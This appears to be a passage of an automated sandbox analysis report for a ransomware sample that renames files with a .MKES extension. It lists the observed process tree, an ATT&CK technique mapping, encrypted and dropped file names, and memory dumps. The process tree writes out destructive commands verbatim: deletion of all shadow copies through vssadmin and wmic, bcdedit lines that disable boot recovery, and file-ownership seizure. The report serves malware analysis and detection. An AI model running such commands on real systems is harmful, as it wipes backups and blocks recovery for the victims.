C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007E.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007E.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin""2⤵
-
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\182zbUcR.bat"1⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet1⤵
- Interacts with shadow copies
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures1⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
#MKES_INFO#.rtf
[[email protected]].jkcsPbGR-n7HTGroH.MKES
[[email protected]].9Es2uxki-ZxBPlh25.MKES
[[email protected]].C1srbWZ6-ZvD3jqUA.MKES
[[email protected]].CHQrloKI-pKMPd5ex.MKES
[[email protected]].CqPcfzNE-ZZ8loAsc.MKES
[[email protected]].JhBJRQF9-IRT1ULQw.MKES
[[email protected]].OB3eRSlF-ngqVKwgn.MKES
[[email protected]].OuZiIz48-LAJs2jVB.MKES
[[email protected]].QOhsPQ4o-C6mKc0yx.MKES
[[email protected]].R8lhYoKZ-WDDLNXI7.MKES
[[email protected]].SMklog8N-fEqxAnR7.MKES
[[email protected]].Wefix49e-Te61cI5S.MKES
[[email protected]].cCHQaylT-bqr3eiMP.MKES
[[email protected]].gnop2Dxy-K1peEeGO.MKES
[[email protected]].k67F5OW9-EDMKW0ff.MKES
[[email protected]].pHz7apwI-nq5haWl8.MKES
[[email protected]].soPBOIc9-Lf1o1SnX.MKES
[[email protected]].ta3encGi-XpckNTzq.MKES
[[email protected]].uIZT7Txt-ggOpj91g.MKES
[[email protected]].xzULCJ4p-czLBcH8n.MKES
de.pak
gu.pak
lo.pak
mr.pak
sl.pak
[[email protected]].7fdjVHjP-IXiWX5sG.MKES
[[email protected]].AlMTy0B0-ORv86srk.MKES
[[email protected]].fvUhWFw2-M65Eik2W.MKES
[[email protected]].0oih3NdO-OY9SKhAZ.MKES
[[email protected]].8YIhhoBY-xpmHwO9Q.MKES
[[email protected]].XwJWovjz-VlUsJDoX.MKES
[[email protected]].uqtnwgzX-9W3fwDwH.MKES
[[email protected]].xK4Din50-DmqnIJV2.MKES
identity_helper.Sparse.Stable.msix
[[email protected]].0jMMtzVC-P6YnikbQ.MKES
[[email protected]].5YL2Z0KU-DLO3w0zN.MKES
[[email protected]].6fmpevN4-n7V3nWQm.MKES
[[email protected]].7fGYyS9S-sb0LLO5y.MKES
[[email protected]].AWeUuNfL-zTgkPeZX.MKES
[[email protected]].DAA5jhyy-eUPCMYwy.MKES
[[email protected]].Jdh7GCXh-9n7GZy9l.MKES
[[email protected]].T3PrDvEo-w8KU2AnS.MKES
[[email protected]].aPSMYNQ2-YFcML3qa.MKES
[[email protected]].ayxivIbm-IsCurzcw.MKES
[[email protected]].cpIkAxZN-hNtnRpFk.MKES
[[email protected]].gPi3vlTY-44HbHyng.MKES
[[email protected]].gfm0wrqQ-86gewzjI.MKES
[[email protected]].j7I73Yo6-IIajwMZb.MKES
[[email protected]].kZqjzaGr-oWEvgg8u.MKES
[[email protected]].rAlc7iHh-MkCPR26Y.MKES
[[email protected]].ryaauOtH-m7Z7THcR.MKES
[[email protected]].t5NcScdc-hJoEG6nQ.MKES
[[email protected]].tyMyfyQO-9T7BWtqf.MKES
[[email protected]].vSpvvdiI-hKAtnBxp.MKES
[[email protected]].wPetLvTr-1hhU7oCa.MKES
[[email protected]].Knv9ctoB-5ub0vmza.MKES
[[email protected]].jWmOaar9-KtBVnbEF.MKES
[[email protected]].yXSunbS0-CjD4VugW.MKES
[[email protected]].6ojDfOg2-uAI5Xaxk.MKES
[[email protected]].7Xx1FUvl-jTVZ5Sek.MKES
[[email protected]].7kSn1yAk-F8KjYVBq.MKES
[[email protected]].srWbFDFY-QReF1Rqb.MKES
[[email protected]].EOWYcmcq-vIurcoB3.MKES
[[email protected]].NTXoU7CI-hnk3uBXd.MKES
[[email protected]].zY668u5R-McAgrokz.MKES
[[email protected]].CVDn7urY-gjUn7zmg.MKES
[[email protected]].EJqx61eI-3C94bokS.MKES
[[email protected]].TtJsI0ZL-RHApSruc.MKES
[[email protected]].p5q6ecII-S6dowEqp.MKES
[[email protected]].q6QOE8uM-tKWxytmw.MKES
[[email protected]].YewuRoJb-iXh7Y1M0.MKES
[[email protected]].W4kt23BK-b1FyHKOq.MKES
[[email protected]].HBgwmAJ4-mC6n8ruN.MKES
[[email protected]].clSvY6uV-UUhSH1jX.MKES
[[email protected]].rzVnMFEu-xLc3dLUp.MKES
[[email protected]].4vaGVNBb-NnI2edUU.MKES
[[email protected]].6TStIrMF-mFRH5UTw.MKES
[[email protected]].Hako8XqK-vXwK1xYG.MKES
[[email protected]].6c6Qg2tY-JmH5EJLI.MKES
[[email protected]].6jVb7MSL-CW6s0mFx.MKES
[[email protected]].AQeidTtW-aDNQIJhg.MKES
[[email protected]].C5klDUv1-kqC3Rpqd.MKES
[[email protected]].IaLTxUp5-5lDGO5gd.MKES
[[email protected]].JjTMXCqg-JiSNBRlO.MKES
[[email protected]].MU09TlbI-OQnyT9VE.MKES
[[email protected]].Nt1A0tev-69ZenVVZ.MKES
[[email protected]].TU8SfzPe-DKXeTJTU.MKES
[[email protected]].VTvho37A-LYpCOlFW.MKES
[[email protected]].aFjl6oud-jcfndPHL.MKES
[[email protected]].bD5104b1-nsrLcMEY.MKES
[[email protected]].bEc9q3id-FrLlM0W4.MKES
[[email protected]].gZjGED4Y-SR0c5Xl3.MKES
[[email protected]].hO73Z2jg-KgK1kYZi.MKES
[[email protected]].jJL22TNQ-Td2f5m3H.MKES
[[email protected]].qESyd1Ro-QkW7JTrK.MKES
[[email protected]].rjfWnzTI-Y3RZ0ztG.MKES
[[email protected]].uRdO7PXg-py0RbYsD.MKES
[[email protected]].v5Z5nuFH-b29KGtuk.MKES
[[email protected]].w1EcIAPN-dpqEKeq2.MKES
[[email protected]].xAEoCPJp-9Xd9gGID.MKES
bg.pak
fa.pak
ja.pak
pt-BR.pak
[[email protected]].ikJ1ukeZ-5SLzl3VH.MKES
[[email protected]].M59rr7wZ-G8ysMtK7.MKES
[[email protected]].f6N2DUWq-mSoeiriF.MKES
[[email protected]].1XTak9xQ-O7v6LRXG.MKES
[[email protected]].4MYtfH4B-4TCBC1f6.MKES
[[email protected]].6uSv5foo-OU0H8FPb.MKES
[[email protected]].6wGMQzC3-ZEcRod5s.MKES
[[email protected]].8mAvfUyD-ndOzlt1Z.MKES
[[email protected]].AAGQwH0B-45eAN6MA.MKES
[[email protected]].HBS2JvIc-MrDCgp66.MKES
[[email protected]].HKKSpCfX-SmhVUbuM.MKES
[[email protected]].HywUAxcU-Qy27W7bb.MKES
[[email protected]].I6Ejt94Z-xWgt70Dy.MKES
[[email protected]].ISTLHQ1z-lhIrEHqf.MKES
[[email protected]].IriBqmuJ-Phy4rMWk.MKES
[[email protected]].J0e11Xah-NSyRqwCB.MKES
[[email protected]].LVvaPVRw-RmS6pIYq.MKES
[[email protected]].PofXAoVG-WM2HKnXc.MKES
[[email protected]].QSviSgIa-WUNiTotu.MKES
[[email protected]].YZE5GyeX-LdZqCV2l.MKES
[[email protected]].YzJdmfgq-LQqWLxyx.MKES
[[email protected]].ZIBoPv6o-jqoj53m3.MKES
[[email protected]].Zi0zj8Je-NFlb2TWI.MKES
[[email protected]].amcZl6TM-Ja5cNOxB.MKES
[[email protected]].csDJPbag-jHUuJPZ5.MKES
[[email protected]].eXBDPJUC-u0d67Y9h.MKES
[[email protected]].iMWw0f1r-QcLH3bZh.MKES
[[email protected]].irs09aE5-zXg31ED5.MKES
[[email protected]].jKDXjjbl-v7tANLqU.MKES
[[email protected]].nYbgzo1u-Ct2ekkqW.MKES
[[email protected]].oo0xKxxj-8bB8cZNQ.MKES
[[email protected]].ooq1iAb3-Kw6Qc2nK.MKES
[[email protected]].rXmzCWxX-K8kT3KkG.MKES
[[email protected]].zARxxL5m-QbOpNoFk.MKES
[[email protected]].zCilYyDK-dGhwjRP9.MKES
[[email protected]].zbgontqT-WS5xmzon.MKES
pa.pak.DATA
[[email protected]].2qOMRV6N-LLXHPH9T.MKES
[[email protected]].8fWlgWYR-PCcG9s3K.MKES
[[email protected]].HCn3WuzI-YJWpiK7W.MKES
[[email protected]].TNTiNWIz-Uf7TsQJO.MKES
[[email protected]].c0gatAJJ-9aDXz0Y3.MKES
[[email protected]].wMRVBhEo-L8VlmmMz.MKES
[[email protected]].wYK8ydpP-ELsoDJ6v.MKES
[[email protected]].MhKVjpS7-20j5l1em.MKES
[[email protected]].P6ey6B1e-JHLAlWVn.MKES
[[email protected]].S5zzQQOt-A4xMqAFD.MKES
[[email protected]].WKAOSxB1-C8RnhsDq.MKES
[[email protected]].gaNIZQ1C-QJBzoQG7.MKES
[[email protected]].i6uSUOqY-EujQpNjP.MKES
SmallLogoBeta.png.DATA
[[email protected]].1TXQdzQk-EEQNC8zg.MKES
[[email protected]].Hbry5Zr6-IqY9dSW0.MKES
[[email protected]].IW7MI9y5-qIQtUymT.MKES
[[email protected]].fLII9wW8-lOiFUoTp.MKES
[[email protected]].vJKzxkOL-tX7z6AJf.MKES
[[email protected]].UpV131yr-TqhJiQzm.MKES
[[email protected]].xKZ1Fw4r-wxKoYFvc.MKES
[[email protected]].BvB1oKXC-nnLWJ2zm.MKES
[[email protected]].QAkKScqI-0MBhYV03.MKES
[[email protected]].b6iYIIAU-yPPPUMTM.MKES
[[email protected]].eIbZF3im-Is5QQBik.MKES
[[email protected]].k6ZqCMEk-a5SlopzM.MKES
[[email protected]].5PaRxnFQ-fPiBe7dS.MKES
[[email protected]].7V4PRokK-fEdml1J3.MKES
[[email protected]].d40Vl8hd-hjjYmNEl.MKES
[[email protected]].zzQf692X-8xOoh7AT.MKES
vk_swiftshader_icd.json.DATA
[[email protected]].kiZ8Y9je-673G4xgh.MKES
[[email protected]].xDbuepcI-HrOvCnQI.MKES
[[email protected]].3VsE9Ycv-5QvaVe3a.MKES
[[email protected]].HDRaTBl6-lVC3J0MI.MKES
[[email protected]].v6GujAo8-9myxE4la.MKES
[[email protected]].wcX2UrNY-33SVcdgq.MKES
[[email protected]].cc86WA5O-cms8O4F2.MKES
[[email protected]].KMcMxpLv-75AdTMIH.MKES
[[email protected]].P4flfJjC-U4Q433r0.MKES
[[email protected]].RPUYnMOd-j8dZRJDn.MKES
[[email protected]].dV5NQ7MQ-AjT8eAtk.MKES
[[email protected]].ygZGS0jW-tzgbmZgn.MKES
[[email protected]].iolymAGc-YJFQeHCI.MKES
[[email protected]].d0XUIbNp-lBHimrOW.MKES
[[email protected]].ks2bM95d-wZiYqyoQ.MKES
[[email protected]].XTwxxdan-prBCuHKK.MKES
[[email protected]].oDmPsLl5-SpLHDy2h.MKES
identity_helper.Sparse.Canary.msix
[[email protected]].LxAHDsI1-ZfhCRqE4.MKES
[[email protected]].5HTdwing-Tih0GW40.MKES
[[email protected]].0wnftaTJ-fxZZflOp.MKES
[[email protected]].Tu1eOY4s-oFpA32GK.MKES
[[email protected]].ihvhVBa8-ue9sdFJv.MKES
[[email protected]].qR9HPma4-cuo1OHlI.MKES
ko.pak
[[email protected]].c7g8uQpQ-qKzBV1Mp.MKES
[[email protected]].2jBrID03-J4Apnq3L.MKES
[[email protected]].vPjcU2Y7-ptU0kr3I.MKES
[[email protected]].19lzujdR-rr5iNLP7.MKES
[[email protected]].2HAALKmt-NqCE0R0l.MKES
[[email protected]].2ffI7Eaa-FYXB68pr.MKES
[[email protected]].5uAapOr3-cuPP4yk8.MKES
[[email protected]].5wXbWkqe-WVlJmJEh.MKES
[[email protected]].6J0nZcHg-rsaOnDdS.MKES
[[email protected]].6QjCCfuZ-4UfUUWKT.MKES
[[email protected]].8CsY2fEy-VfNMr7sL.MKES
[[email protected]].9rsLE6jN-978GMQBI.MKES
[[email protected]].BFSW0Y5Z-BIkRopTP.MKES
[[email protected]].BgqMmhu5-fbLHO0dX.MKES
[[email protected]].BtNOEM11-OSDCf7a9.MKES
[[email protected]].CXvYff9N-ktAOSI8o.MKES
[[email protected]].DEqhZQeS-Vs7hNglS.MKES
[[email protected]].E7MfdrWf-3ApnqmRx.MKES
[[email protected]].EFIfNanF-MjoXiVmW.MKES
[[email protected]].EGz7YeKz-ZaSl1O4f.MKES
[[email protected]].FWSKarfp-cjoiEdGc.MKES
[[email protected]].J2kaq9YE-cRboLTl5.MKES
[[email protected]].Lt8KqOEb-zQHAPAwY.MKES
[[email protected]].MXsIXbd4-xISsnqVY.MKES
[[email protected]].NARVOroY-SR3kq3FB.MKES
[[email protected]].O4YfBJo0-esI43Xjm.MKES
[[email protected]].R15W7LjN-or7LkUpI.MKES
[[email protected]].R40yQYQa-1ysSZITR.MKES
[[email protected]].SqdydeUF-47bM8nsR.MKES
[[email protected]].TM3sRMQQ-WPvKcKme.MKES
[[email protected]].UtlFtExe-m0GFCsd7.MKES
[[email protected]].WJv4jr2A-q7T3HUXV.MKES
[[email protected]].XYDdZjEl-dhdbm5Mr.MKES
[[email protected]].ZmEA81SC-0VOTQw7t.MKES
[[email protected]].aFA3fVkC-giui6hnf.MKES
[[email protected]].aS0K0z22-FQsBQjkL.MKES
[[email protected]].aoMDh8bu-z3G1ZkWZ.MKES
[[email protected]].asSkmUA2-LRfab9tV.MKES
[[email protected]].ctfDbH7k-5K1emObX.MKES
[[email protected]].dPbWVgTN-tTcdFdCW.MKES
[[email protected]].faTpCRfA-YPhtlYUo.MKES
[[email protected]].fhIzCQ8X-oSpdZ8Y6.MKES
[[email protected]].h4riTDtO-cYjUuztv.MKES
[[email protected]].iDVBqJlx-Q8Qjcp5c.MKES
[[email protected]].it75GNGW-qvj2cBUR.MKES
[[email protected]].lFkSH0GP-jtyjoHo4.MKES
[[email protected]].nA3WsYPM-Ww49FXLn.MKES
[[email protected]].nwP8ExPm-mkgFEYQ3.MKES
[[email protected]].qs1x7tWT-gS60vYNp.MKES
[[email protected]].r05OGeOf-wsfZQsE7.MKES
[[email protected]].rYVXn37n-pTnNiHAl.MKES
[[email protected]].sG7381No-UZf99bsr.MKES
[[email protected]].skqOBMsw-s50v2eNy.MKES
[[email protected]].uS8Fk6uM-dEei0Aad.MKES
[[email protected]].usH0wQhw-DXwcpvNJ.MKES
[[email protected]].xLgsNGfd-eiVRVyxL.MKES
[[email protected]].yOCfHlab-z1zV6Lr6.MKES
[[email protected]].yT3xP3MG-9WvTcJFF.MKES
[[email protected]].yvbUw7X1-Kih4BjY7.MKES
ga.pak.DATA
mt.pak.DATA
[[email protected]].rkVBh2PY-GxqpXdAv.MKES
[[email protected]].5YdIKnbR-rOJYLgGW.MKES
[[email protected]].ARX0Ufy2-sSJ6yfxj.MKES
[[email protected]].WEnvKQ3a-OXzsUv9g.MKES
[[email protected]].WlsskcgT-on7No3QW.MKES
[[email protected]].elr7XytS-wmzYIf1o.MKES
[[email protected]].fmPkGSik-hhkBKiki.MKES
[[email protected]].kgGFXgf8-adzzTZxv.MKES
[[email protected]].d4Eh0sv1-OMixpgoX.MKES
[[email protected]].jhgMQeFH-DHIHYcnb.MKES
[[email protected]].olxg5rXr-VgF0WeYg.MKES
[[email protected]].u1zgEwad-RkoDTC5D.MKES
[[email protected]].xIVGP07r-c1bN8K0z.MKES
[[email protected]].58PfiLDc-bhWfQngy.MKES
[[email protected]].NjBGlZB9-VNVjJTTZ.MKES
[[email protected]].bZyCwM5v-2pse8uaP.MKES
[[email protected]].cBFnlKU3-XavKHdJc.MKES
[[email protected]].M2bNVPRz-Jn4LIrWH.MKES
[[email protected]].4lceelnp-pUIBOTCB.MKES
[[email protected]].HLJyiobf-EhRSxqHz.MKES
[[email protected]].XYg5OtQH-eMJfErF2.MKES
[[email protected]].m44Gu62f-limJtOc2.MKES
[[email protected]].oWy93pb5-RbnS2AYj.MKES
[[email protected]].AGw82T0C-AL432L96.MKES
[[email protected]].Q2H2a4wf-OsZkK9xi.MKES
[[email protected]].NdEP9dl7-ACPNKXWC.MKES
[[email protected]].LhRcroD6-Lq5TL7BX.MKES
[[email protected]].M5ZaoLrT-1TcHLufM.MKES
[[email protected]].iJV0ybk8-GEZwsyaX.MKES
[[email protected]].7NBRyIBw-I8A1JqgJ.MKES
[[email protected]].LzLammZT-BJHn5kTn.MKES
[[email protected]].gwcAVQNQ-094ZJe9Z.MKES
[[email protected]].tw9oKmNp-Zf4ZrkAm.MKES
[[email protected]].2HxB8NJe-1ZXGgzyH.MKES
[[email protected]].OzoLgjtE-Jn0AHNFl.MKES
[[email protected]].oBlwO1q0-KvhsKujy.MKES
[[email protected]].QOEWqQ6B-vQ3VOCT5.MKES
[[email protected]].IHkNu5OB-9Tw6Utsh.MKES
[[email protected]].EwmBHdvL-oUp0dgHa.MKES
AghaguL8.exe
AghaguL864.exe
NWMdL05K.exe
bad_1175026C2362C3D7.txt
gPIO5VrW.bat
WpMBEMtS.vbs
[[email protected]].y0yHoUWP-vOps7Xuy.MKES
memory/316-16873-0x0000000000400000-0x0000000000477000-memory.dmp
memory/628-17084-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1252-17093-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1436-17205-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1596-17061-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1652-11419-0x00000000026B0000-0x00000000026DF000-memory.dmp
memory/1652-11420-0x00000000026E0000-0x00000000026EA000-memory.dmp
memory/2284-16966-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2328-17051-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2348-16894-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2364-17119-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3188-11437-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3188-17147-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3188-17010-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3244-17066-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3324-17004-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3324-16496-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3324-16844-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3324-17141-0x0000000000400000-0x0000000000539000-memory.dmp
memory/3324-11315-0x0000000000400000-0x0000000000539000-memory.dmp
memory/4268-17150-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4304-17098-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4488-17086-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4488-17088-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4728-17198-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4752-16863-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4836-17030-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5216-17207-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5348-17073-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5408-17118-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5412-16891-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5436-17092-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5588-17002-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5592-16876-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5596-16857-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5736-17006-0x0000000000400000-0x0000000000477000-memory.dmp
memory/5848-17126-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6056-17138-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6184-16866-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6248-17055-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6312-17057-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6516-16869-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6524-17186-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6548-16888-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6560-17206-0x000002ACF1400000-0x000002ACF14AD000-memory.dmp
memory/6576-17014-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6584-17134-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6652-16913-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6652-16915-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6660-17012-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6752-16897-0x0000000000400000-0x0000000000477000-memory.dmp
memory/6976-17125-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7028-17130-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7044-17016-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7068-16918-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7124-16526-0x0000000000700000-0x00000000007AD000-memory.dmp
memory/7180-16834-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7200-17007-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7200-17009-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7384-17090-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7432-16820-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7500-16826-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7516-17077-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7592-16908-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7592-16906-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7596-16860-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7676-17114-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7932-17194-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7944-17067-0x0000000000400000-0x0000000000477000-memory.dmp
memory/7960-16816-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8068-16911-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8124-17062-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8164-17050-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8196-12175-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8196-16525-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8276-17064-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8436-17146-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8520-17122-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8544-17059-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8648-16849-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8716-16920-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8808-17121-0x0000000000400000-0x0000000000477000-memory.dmp
memory/8920-17128-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9032-17079-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9048-16853-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9104-17132-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9200-16840-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9360-16880-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9412-16823-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9472-16846-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9496-17143-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9524-17011-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9556-17115-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9564-16883-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9788-15070-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9872-16837-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9920-17082-0x0000000000400000-0x0000000000477000-memory.dmp
memory/9936-16886-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10060-16903-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10120-16900-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10212-17001-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10232-17096-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10256-16924-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10316-16927-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10440-16929-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10476-16934-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10608-16937-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10632-16941-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10756-16944-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10788-16946-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10904-16949-0x0000000000400000-0x0000000000477000-memory.dmp
memory/10928-16952-0x0000000000400000-0x0000000000477000-memory.dmp
memory/11056-16954-0x0000000000400000-0x0000000000477000-memory.dmp
memory/11080-16957-0x0000000000400000-0x0000000000477000-memory.dmp
